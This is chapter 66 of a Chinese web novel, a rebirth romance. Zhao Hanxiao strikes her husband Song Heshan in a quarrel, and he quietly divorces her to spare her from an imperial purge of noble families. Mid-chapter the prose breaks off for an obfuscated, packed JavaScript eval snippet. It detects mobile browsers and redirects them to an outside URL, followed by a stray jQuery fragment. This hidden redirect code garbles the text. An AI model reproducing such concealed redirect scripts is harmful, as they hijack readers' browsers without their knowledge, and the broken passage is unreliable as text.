66. (66)

作品:《逃妻实录(重生)

    长安城。


    继谢家之后,陆续又有几个世家被圣人以各种理由抄家,轻则罢官,重则流放,女眷充没教坊司。长安城一时间人心惶惶。


    宋鹤山也觉得不对劲,故这些日子回家的时间越发少,往往赵含笑熟睡后才回来,等醒来他又一早走了,被子里只剩下他身上澡豆的清香气味儿。


    赵含笑觉得委屈。这个死男人到底在忙什么?连说句话的时间都没有,是不是把她娶回家厌烦了,在外面养小蹄子了?


    本想着熬夜等他回家好生理论一番,谁承想后面男人连家也不回了,晚上直接宿在外头。


    赵含笑双手撑着下巴,呆呆看着不远处滑落的烛泪。室内虽笼了炭火,温暖如春,此刻她却感觉肃冷的寒风哗哗往心口吹,一时间脑子发怔,越发委屈上了。


    春雪是小姐的陪嫁丫鬟,看到小姐嘴巴一撇泪眼汪汪的样子,也知道是姑爷多日不归家令小姐感到委屈。不由得宽慰:


    “小姐,姑爷身为宋家长子,压在他肩膀上的担子不知凡几,兴许是他太忙了以至于没时间回家,小姐就别多想了,姑爷对您的心思,奴婢一个外人看得真真的”。


    “先前他对我的真心我能感受到,也清楚他的心意。只是人心易变,自古男子多薄情,现在他对我爱答不理的,我心里难受。春雪,你说……会不会是他在外面养了人?”


    赵含笑拢拢鬓边的碎发,叹气询问。


    “小姐,虽然奴婢的话有为姑爷开脱的嫌疑,但是在奴婢心里,姑爷不会干出这样的事儿的。小姐刚嫁来宋家时候姑爷私底下还总问奴婢关于小姐的日常情况,生怕您在宋家住不习惯”。


    “小姐您忘了?咱们刚来时夫人看不上您的身份,经常借着婆母的身份打压你刁难你,你当时忍在心里不愿意跟姑爷说,后面还是姑爷摆平了此事”。


    春雪站在赵含笑身后为她摘掉头上的发饰,继续道:“姑爷私底下问奴婢们知道了小姐为难,自己亲自跟夫人说道,夫人才收敛着不敢明目张胆为难小姐”。


    赵含笑透过铜镜看到自己绸缎般的鬓发,眉头紧锁时镜中人也跟着做同样动作。


    她细细思索这事,当初不肯跟宋鹤山说,一则谨遵出嫁前阿娘对她的嘱咐,二则不想刚嫁过来就性格如此张扬,恐惹人不喜。


    当时确实觉得有些奇怪,还以为宋老夫人察觉到自己的错误,没想到居然是宋鹤山在背后插手。


    只是,既然他如此在乎她,为何连回个家的时间都没有?不回家起码招呼个小厮来报一声,这在往常是从来没有的事。


    难道,真的厌倦了?


    “放心吧,姑爷准被什么要紧事绊住脚了”。


    “我看就是被哪个狐媚子缠在床上,连家也不愿回了!”赵含笑冷哼一声,将手中的篦子狠狠掷在梳妆台上。


    春雪知道小姐在气头上,不敢再劝。再说,小姐来到宋家不得已收敛自己性子,受了这么些委屈,发一发脾气又如何?憋心里还担心憋坏了身子,这样反而乐得自在。


    还不等赵含笑缓过来,门外传来丫鬟的请安声,不待她转头,帘子便被人从外面掀开,颀长的熟悉身影撩袍进来。


    赵含笑透过铜镜看到他一身红色官袍,蹀躞带上还佩戴着她前些日子歪七扭八给他绣的香囊,随着他的动作微微晃动。


    男人在她身后站定。


    她看到他不加掩饰的一脸疲态,心中的委屈和怒火顿时消失大半,忍不住为宋鹤山开脱:


    他身为宋家宗子,去年刚新官上任,年纪尚轻,说不准底下有许多人不服气,劳于公务无瑕顾及家里也是可以理解的。


    算了,只要他现在肯过来亲自给她道歉,赵含笑心里想,她就能原谅宋鹤山。夫妻俩的小日子嘛,都是靠对方相互体贴经营出来的。


    等轰轰烈烈的爱情过去后,留给她们的只剩下细水长流的亲情支撑。意气用事解决不了问题。


    她为这个家,真是操碎了心。赵含笑紧咬下唇,心中感叹自己大度。


    谁料到往常回来第一时间走到她身边说话的男人此刻破天荒沉默不语,嘴巴抿成一条直线,颔首让春雪替他更衣。


    春雪疑惑不解,这事儿向来都是小姐亲自来的,何时需要她这个丫鬟上场了?怕小姐心里不自在,忙不迭转头用目光询问赵含笑意思。


    见人点头,她才敢猫着腰上前,颤巍巍的手刚摸上宋鹤山的蹀躞带,男人身子一闪躲过去,突然想到什么似的,抬手让其他人下去,室内只剩下夫妻二人。


    博山炉还在幽幽散发着檀香味儿,手腕粗的蜡烛火苗晃荡,“哔啵”一声爆出烛花来。


    气氛安静得有些诡异。


    赵含笑没由来的疑惑,心里有种不祥的预感,皱眉问,“你怎么了?怎一言不发?”


    平时这张嘴不是最能说的吗?在床上诱哄她喊夫君的时候,可不像现在这样。


    宋鹤山的脸隐在她影子里,看着有些朦胧邪魅。他脚步轻抬,缓缓朝赵含笑坐着的方向走过来。


    感受到男人通身逼人的森冷气质,与平日大不相同,她噌的从笙蹄前站起来,朝他骂道:“好好的,你又发什么疯?不回家也就罢了,好容易回来一趟板着张脸给谁看?给你惯的!”


    她手掌往下挥,重重砸在梳妆台上,震掉了上面盒子里的螺子黛和吉祥梳:


    “我告诉你宋鹤山,别以为这段时间没朝你发脾气就觉得老娘好欺负。你要是在外面养了小贱人,老娘就跟你和离!到时候招呼七八个入幕之宾到我府上夜夜笙歌,欢饮达旦!你后悔去吧!”


    赵含笑气呼呼说完,脸都憋红了,呼吸不稳,半撑着梳妆台才没摔倒。心里不由得松了一口气,还是吵架好,这样一骂完心情都舒畅许多。


    谁知男人依旧半垂着睫毛,眼神中辨不出喜怒,堪堪在她面前站定,不到一尺的距离。


    赵含笑心里莫名发慌。不是吧?她先前跟他吵过这么多回,男人哪次不是笑嘻嘻过来赔罪的,何曾像现在这样一言不发沉默着,单看她自导自演。


    狗男人不会生气了吧?至于吗?媳妇儿骂郎君这是自古以来天经地义的事。


    赵含笑气哼哼的想,他要敢反驳,自己定要跟他和离了,一分一秒都等不得。


    她嫁来宋家是享福的,不是来受苦的。若是男人变了心,趁早一脚踹开找下一个。


    未等她继续开口,宋鹤山终于说话了,声音艰涩而沙哑,仿佛古远的梵音。他点头颔首,“好”。


    好?好什么?赵含笑懵了,丈二的和尚摸不着头脑。不会是这家伙劳心公务,脑子出问题了吧?


    “我们和离吧,明天就让宋贰给你送放妻书”。


    透过男人平静的面庞,赵含笑几乎呆住,脑子混沌得什么也思索不出来,浑身上下被人当头泼了一盆冷水一般,从内到外透着寒意。


    眼眶一下子就红了,她艰难问出口,“宋沐芳,你……真在外面养小蹄子了?”


    宋鹤山没答话,但神情不置可否。


    “你混蛋!”赵含笑哇的一声哭出来,三步并作两步拿旁边的烛台砸他。上面还有未燃烧完的烛火,宋鹤山丝毫没想着躲闪,笔直的身躯依旧站在原地。


    任由烛火烫伤自己皮肤,始终不吭一声。仿佛没了知觉一般,烧的不是自己,而是个无关紧要的外人。


    “说好一生一世守着我一人的,你才娶我没几个月就忍不住了?外面的就比家里的香是吗?什么脏的烂的都要,非勾得你离不开床是吗?”


    赵含笑含泪怒骂,“原来大名鼎鼎的状元郎不过贪图美色,被女人勾得下不来床的酒色之辈!真真啖狗屎的狗鼠辈,被挖了眼睛喝了精血的死狗奴!”


    她发了怒,脏话竹筒倒豆子似的一句接一句蹦出来。


    守在外面的春雪等人听到房内的争执声,伴随着噼里啪啦的瓷器碎裂声,生怕出什么事,也顾不上传唤与否,忙推开门闯进来。


    赵含笑扔不解气,手里的茶杯狠狠往男人脸上掷去,宋鹤山没躲过,确切来说根本没躲的意思。瓷器砸在他脸上闷声破碎,旋即朝四下崩裂。


    额头上很快流下一道蜿蜒的血痕,一滴两滴,顺着他清癯的面庞滴落在上好的宣城红地毯上。


    春雪怕再打下去恐惊动府里的宋老夫人。在身边磕头劝阻道:“小姐,您消消气儿,为旁人气坏身子不值当!老爷夫人也会伤心的!小姐三思啊!”


    宋老夫人是姑爷生身母亲,生了一张不依不饶的嘴,先前小姐刚嫁来宋家时,她就对小姐出身多有嫌弃,觉得小姐配不上自家伟郎君。


    若是被她发现今晚小姐打了姑爷,依照那人的性子不得闹得满城风雨,到时候不说旁的,若小姐的声誉不保,如何是好?再者连累赵家名声,这就更得不偿失。


    早在春雪冲进来时,外面就有人预备出去通知老夫人,谁料宋壹宋贰早守在院子门口,握着腰间锃亮的弯刀,俨然蓄势待发的模样,明显是受到主子吩咐。


    众人皆被唬了一大跳,看着在灯光下闪耀的弯刀,惊恐吞咽着口水再不敢迈开腿脚一步。


    房内。赵含笑本就气头上,又听到宋夫人的名字,更是怒火中烧,回头将桌子上的一应梳妆用具全噼里啪啦推到地上,怒吼:“滚!我不想再看到你!”


    “还有,和离书不用明天给我,我现在就要!这破地方老娘一刻也呆不下去了!”


    她深吸一口气,心里暗道为这样的贱男人气坏身子不值当,吩咐春雪去整理行李,主仆准备今晚就回赵家。


    春雪等人本就是赵含笑的心腹,自然事事听她的话。况且眼下看来姑爷确实做了对不起小姐的事,小姐门第虽比不上宋家,好歹也是金尊玉贵长大,何曾受过这样的委屈?


    还是回家去,眼不见心不烦为好。


    宋鹤山站在阴影里,在赵含笑偏头吩咐春雪时他才敢偷偷抬头看向对面那抹倩影,心中苦涩难言,不觉红了眸子。


    好在光线暗淡,赵含笑一个眼神也没分给他,自然看不到。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185438|164387||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他感觉自己胸口被人活生生撕开一大块,血肉模糊之际狂风大卷,呼啦啦往里灌着冷风。


    实在是疼。


    他沙哑着低声道:“好,我待会儿让宋贰拿给你,你且耐心等等”。和离书还未给官府盖章,他本想着苟且一日,他就还是她的夫君。不管是名义的还是心里的。


    可是,他知道自己太贪心,世间安有两全法,况且他连得一全的资格都没有。如今又把人惹恼了,她素来直来直去的性子怕是一辈子也不会原谅他。


    也罢,笑笑跟着自己没享受一天好日子,如今他这个将死之人,还是让人走吧。这是他唯一能为笑笑做的了。宋鹤山心里叹息。


    院里的事到底没能瞒过宋老夫人,她时刻派人盯着这边的动静,风风火火赶过来,谁知却被宋壹宋贰拦在门口,院子都迈不进去。


    “放肆,连我也敢拦,你们有几个胆子?”宋夫人气得胸口上下起伏,目光怨毒。


    宋壹宋贰依旧是公事公办的语调:“主子吩咐过,除了夫人,谁也不能随意出入”。夫人自然指的是赵含笑。她才是宋府堂堂正正的夫人。


    “你……你们……”宋老夫人指着二人气得说不出话来,知道这事儿急不得,深吸一口气缓和:


    “我是他娘,他敢拦我?莫不是你们这群刁奴随意曲解主人的命令!”她就不信儿子会让下人拦她,定是这帮刁奴蹬鼻子上脸。还真以为自己是主子了?


    宋老夫人冷哼一声。


    却没料到,宋壹宋贰再次义正言辞拒绝,“老夫人,主子明确说过不能放您进去,您若不信可以亲自去找主子求证一番”。


    “你们!”宋老夫人脾气还没冲赵含笑发,在门口就被这些个侍卫磨完了。良久后她怨毒瞪二人,问:“听说她闹着要跟我儿和离?”


    “属下不知,老夫人若想知道可以亲自问主子”。


    看着他们守在门口严阵以待防备,摆明了当锯嘴葫芦,宋老夫人无奈至极,只好冷哼着转身离去。


    谁知道到了宋鹤山那里,人家压根没想见自己母亲,只敷衍派人出来说他跟赵含笑已经和离,今晚赵含笑就要回家。


    终于听到确切的消息,宋老夫人长长舒了一口气,连一晚上被侍卫和儿子冷待的气闷都消失了,不由得拍手称快:


    “离得好!早看那小娼妇不顺眼,区区一个六品闲官之女,就敢在我宋家逞威风,真把她能的!”


    “要我说,我儿就该娶天底下最金尊玉贵人家的女孩儿,咱们宋家世代簪缨,岂能娶一个破落户人家的女儿,也不怕人笑话!


    “好在我儿终于醒悟,为时不晚,为娘也深感欣慰!”宋老夫人笑眯眯跟身边的嬷嬷盘算长安城各大世家的女孩儿,准备物色下一任儿媳。


    书房里面的宋鹤山自然也听到这话,淡漠到没有温度的声音从窗户缝里传出来,重重砸在宋老夫人脸上。


    “母亲如果不想要这舌头,儿子可命人把它拔去”。


    “你!逆子!”宋老夫人暴跳如雷,指着书房就是一顿骂,什么“乞索儿”“田舍汉”,又嚎又哭,全无半分贵妇模样。


    宋鹤山自小就跟母亲关系不好,宋家主又是个不成事儿的,年轻时候处处风流,什么香的臭的都打发到府里。


    宋老夫人整日忙着与府上的姨娘侍妾斗法,却从来不会关切问问他这个儿子过得怎么样。


    她心里想的,眼里看的,只有自己的权势。


    往事宋鹤山已不想追究,可如今母亲却越发刁钻刻薄。委屈他这个儿子还不够,现如今又要委屈笑笑,这叫宋鹤山如何能忍。他淡漠道:


    “母亲若是再这样闹下去,儿子只好对外声称你潜心礼佛,到家庙为父亲祈福去了”。


    “你这个孽障,难道忘了自己是从我肚子里出来的吗?”宋老夫人咬牙切齿。


    “呵”,宋鹤山冷笑一声,手里还拿着刚命人去官府盖过印章的放妻书。按理说这个时辰官府早下钥了,只是笑笑催促着要,他只好连夜命人去办好。


    “盖因一日夫妻百日恩情,修得百年同床共枕之梦”,他轻声念着,攥着放妻书的手越发收紧。心中的痛处如同波浪一阵一阵袭来。


    只是,他除了这样做又能怎么办呢?当今圣人猜忌之心越发重,现在拿些小兵小卒开刀,不过是为了待时机成熟把世家铲除殆尽。


    宋家总归要倒的,宋家族人连着老夫人的娘家背地里干了这么多勾当,圣人查出来只是时间的问题,早该倒了。


    到时候,还得拉着笑笑一同受苦,这叫他如何忍心?还不如让她回家,起码能躲过这场祸事。


    虽然理智上宋鹤山觉得自己没错,但情感上越发悲情难以自已。为何……为何会这般难受?他捂着胸口半蹲下身子,痛苦难言。


    不小心舔到唇角边流下来的血迹,很咸,又带着湿润。


    可是,方才笑笑手里的茶杯砸他脸上流的血早干了,怎么还这么湿?


    究竟咸的是血,还是泪?